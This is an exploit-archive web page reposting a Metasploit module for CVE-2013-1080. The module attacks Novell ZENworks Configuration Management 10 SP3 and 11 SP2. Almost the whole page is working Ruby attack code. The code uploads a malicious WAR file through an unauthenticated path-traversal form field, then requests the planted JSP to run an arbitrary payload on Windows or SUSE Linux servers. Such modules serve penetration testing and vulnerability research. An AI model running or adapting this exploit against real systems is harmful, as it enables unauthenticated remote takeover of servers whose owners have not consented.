首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Novell ZENworks Configuration Management Remote Execution
来源:metasploit.com 作者:vazquez 发布时间:2013-04-03  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'Novell ZENworks Configuration Management Remote Execution',
			'Description' => %q{
					This module exploits a code execution flaw in Novell ZENworks Configuration
				Management 10 SP3 and 11 SP2. The vulnerability exists in the ZEnworks Control
				Center application, allowing an unauthenticated attacker to upload a malicious file
				outside of the TEMP directory and then make a second request that allows for
				arbitrary code execution. This module has been tested successfully on Novell
				ZENworks Configuration Management 10 SP3 and 11 SP2 on Windows 2003 SP2 and SUSE
				Linux Enterprise Server 10 SP3.
			},
			'Author'      =>
				[
					'James Burton', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'CVE', '2013-1080' ],
					[ 'BID', '58668' ],
					[ 'OSVDB', '91627' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-049/' ],
					[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011812' ]
				],
			'Privileged'  => false,
			'Platform'    => [ 'win', 'linux' ],
			'Targets'     =>
				[
					[ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / Windows 2003 SP2',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win',
							'Traversal' => '../webapps/'
						}
					],
					[ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / SUSE Linux Enterprise Server 10 SP3',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux',
							'Traversal' => '../../opt/novell/zenworks/share/tomcat/webapps/'
						}
					]
				],
			'DefaultTarget'  => 1,
			'DisclosureDate' => 'Mar 22 2013'))

		register_options(
			[
				Opt::RPORT(443),
				OptBool.new('SSL', [true, 'Use SSL', true])
			], self.class)
	end

	def check
		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "/zenworks/jsp/fw/internal/Login.jsp"
		})

		if res and res.code == 200 and res.body =~ /Novell ZENworks Control Center/
			return Exploit::CheckCode::Detected
		end

		return Exploit::CheckCode::Detected
	end

	def exploit

		# Generate the WAR containing the EXE containing the payload
		app_base = rand_text_alphanumeric(4+rand(4))
		jsp_name = rand_text_alphanumeric(8+rand(8))

		war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s

		print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

		# Rex::MIME::Message.new doesn't work fine with binary data, destroys "\x0d" chars
		boundary = "----#{rand_text_alpha(34)}"
		data = "--#{boundary}\r\n"
		data << "Content-Disposition: form-data; name=\"mainPage:_ctrl21a:FindFile:filePathTextBox\"; filename=\"#{target['Traversal']}#{app_base}.war\"\r\n"
		data << "Content-Type: application/octet-stream\r\n\r\n"
		data << war_data
		data << "\r\n"
		data << "--#{boundary}--"

		res = send_request_cgi(
			{
				'method' => 'POST',
				'uri'    => "/zenworks/jsp/index.jsp?pageid=newDocumentWizard",
				'ctype'  => "multipart/form-data; boundary=#{boundary}",
				'data'   => data
			})

		if res and res.code == 302
			print_status("Upload finished, waiting 20 seconds for payload deployment...")
		else
			fail_with(Exploit::Failure::Unknown, "Failed to upload payload")
		end

		# Wait to ensure the uploaded war is deployed
		select(nil, nil, nil, 20)

		print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
		send_request_cgi({
			'uri'    => normalize_uri(app_base, "#{jsp_name}.jsp"),
			'method' => 'GET',
		})
	end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ruby Gem ldoce 0.0.2 Command E
·HP System Management Anonymous
·STUNSHELL Web Shell Remote Cod
·Linksys E1500/E2500 apply.cgi
·STUNSHELL Web Shell Remote PHP
·MongoDB nativeHelper.apply Rem
·Draytek Vigor 3900 1.06 - Priv
·KNet Web Server 1.04b - Buffer
·PonyOS 0.4.99-mlp Privilege Es
·ALLMediaServer 0.94 Buffer Ove
·Netgear DGN1000B setup.cgi Rem
·Konftel 300IP SIP-based Confer
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved